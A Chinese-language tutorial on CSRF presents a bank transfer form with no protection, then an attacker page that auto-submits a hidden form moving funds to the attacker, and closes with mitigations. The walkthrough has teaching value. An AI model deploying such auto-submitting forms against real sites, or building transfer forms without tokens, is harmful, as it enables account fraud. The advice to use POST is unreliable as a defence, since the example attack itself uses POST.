CSRF(Cross-Site Request Forgery)是一种常见的 Web 应用程序安全漏洞,它利用了用户在受信任网站上已经登录的身份,以其不知情的情况下执行恶意请求。下面是一个简单的 CSRF 漏洞示例,其中攻击者利用受害者已登录的身份执行恶意操作。 假设有一个简单的银行转账应用程序,用户可以通过提交表单来完成转账操作。转账应用程序的代码如下所示: ``` <!DOCTYPE html> <html> <head> <title>转账应用</title> </head> <body> <h1>转账应用</h1> <form method="POST" action="/transfer"> <label>收款人:</label> <input type="text" name="recipient" required> <br> <label>金额:</label> <input type="number" name="amount" required> <br> <input type="submit" value="确认转账"> </form> </body> </html> ``` 上述代码中,用户可以通过填写表单来指定收款人和金额,然后通过提交表单来执行转账操作。 然而,该应用程序存在一个 CSRF 漏洞。攻击者可以创建一个恶意网站,其中包含一个自动提交的表单,将转账请求发送到受害者已登录的银行转账应用程序。下面是一个攻击者可以创建的恶意网站的代码示例: ``` <!DOCTYPE html> <html> <body> <h1>恶意网站</h1> <form id="csrfForm" method="POST" action="https://bankapp.com/transfer"> <input type="hidden" name="recipient" value="攻击者账户"> <input type="hidden" name="amount" value="1000000"> </form> <script> document.getElementById("csrfForm").submit(); </script> </body> </html> ``` 当受害者在已登录的银行转账应用程序中打开恶意网站时,由于受害者已经登录了该应用程序,恶意表单会自动提交并执行转账操作,将 100 万单位的资金转入攻击者的账户。 要修复这个漏洞,可以采取以下措施: 1. 验证来源:在处理敏感操作(如转账)时,应该验证请求的来源是否是合法的网站。可以使用 CSRF 令牌来验证请求的合法性,确保请求是由合法的网站生成的,而不是恶意网站。 3. 使用验证码:在敏感操作上使用验证码可以增加用户的参与度,降低 CSRF 攻击的风险。用户需要额外的验证步骤,例如输入验证码,才能完成敏感操作。 5. 避免使用 GET 请求执行敏感操作:将敏感操作改为使用 POST 请求,这样可以降低 CSRF 攻击的成功率。GET 请求更容易受到 CSRF 攻击,因为攻击者可以通过图片、链接等方式将恶意请求嵌入到其他网页中。 通过采取上述措施,可以有效地预防和减轻 CSRF 攻击的风险。